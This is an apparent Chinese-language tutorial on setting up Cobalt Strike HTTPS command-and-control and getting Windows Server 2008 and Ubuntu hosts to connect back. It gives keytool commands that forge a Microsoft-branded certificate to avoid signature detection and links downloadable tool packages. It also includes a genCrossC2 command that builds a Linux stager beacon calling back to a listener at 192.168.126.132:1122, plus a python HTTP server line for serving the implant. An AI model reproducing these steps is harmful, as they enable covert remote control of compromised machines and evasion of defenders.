1.CS使用https上线win08Server
1.1首先在win08启用tls1.2
1.2kali端
删除服务端Server目录下的cobaltstrike.store
利用keytool生成新的一个无特征的证书文件cobaltstrike.store
keytool -keystore cobaltstrike.store -storepass test -keypass test -genkey -keyalg RSA -alias test -dname "CN=Microsoft Windows, OU=MOPR, O=Microsoft Corporation, L=Redmond, ST=Washington, C=US"
# 也就是这个格式,可自由替换中文部分内容:keytool -keystore 生成的store名 -storepass 密码 -keypass 密码 -genkey -keyalg RSA -alias 自定义别名 -dname "CN=Microsoft Windows, OU=MOPR, O=Microsoft Corporation, L=Redmond, ST=Washington, C=US"
keytool
是一个Java 数据证书的管理工具,使用如下:
-keytool -keystore cobaltstrike.store -storepass 密码
-keypass 密码
-genkey -keyalg RSA
-alias google.com -dname "CN=(名字与姓氏),
OU=(组织单位名称), O=(组织名称),
L=(城市或区域名称),
ST=(州或省份名称),
C=(单位的两字母国家代码)
常用keytool命令
查看证书文件:keytool -list -v -keystore cobaltstrike.store
修改证书密码:keytool -storepasswd -keystore cobaltstrike.store
修改alias别名:keytool -changealias -keystore cobaltstrike.store -alias sourame -destalias new_name
证书生成完毕后,查看一下是否是新的证书内容
建议同时修改teamserver中的keytool,防止证书被删除后自动生成默认证书。
之后正常先启动服务端,查看是否有报错。有报错,下载下面的文件,到CS的Server进行替换。该store文件密码是123456
通过百度网盘分享的文件:cobaltstrike.store
链接:https://pan.baidu.com/s/1gKumzCc8EkOtnscKf9YCUA
提取码:6666
无报错继续启动Client,后添加Listeners
最后拿生成的木马正常去上线即可
2.上线Ubantu
2.1首先下载下面的文件,之后拖到Client目录下
通过百度网盘分享的文件:c2.zip
链接:https://pan.baidu.com/s/1sM9YQJrLqhdnGKb6DVJOPw
提取码:6666
解压之后修改文件【CrossC2-GithubBot-2023-11-20.cna】内的路径Client的绝对路径
之后加载cna后缀的文件
从下往上依次加载
之后添加监听
之后去到Client,使用命令生成木马:
./genCrossC2.Linux 192.168.126.132 1122 ./.cobaltstrike.beacon_keys null Linux x64 ./new.out stager
注意:IP对应Listener的IP,端口也对应Listener的端口,之后去Ubantu运行即可上线
可以使用python搭建服务,进行文件下载:python -m http.server 6543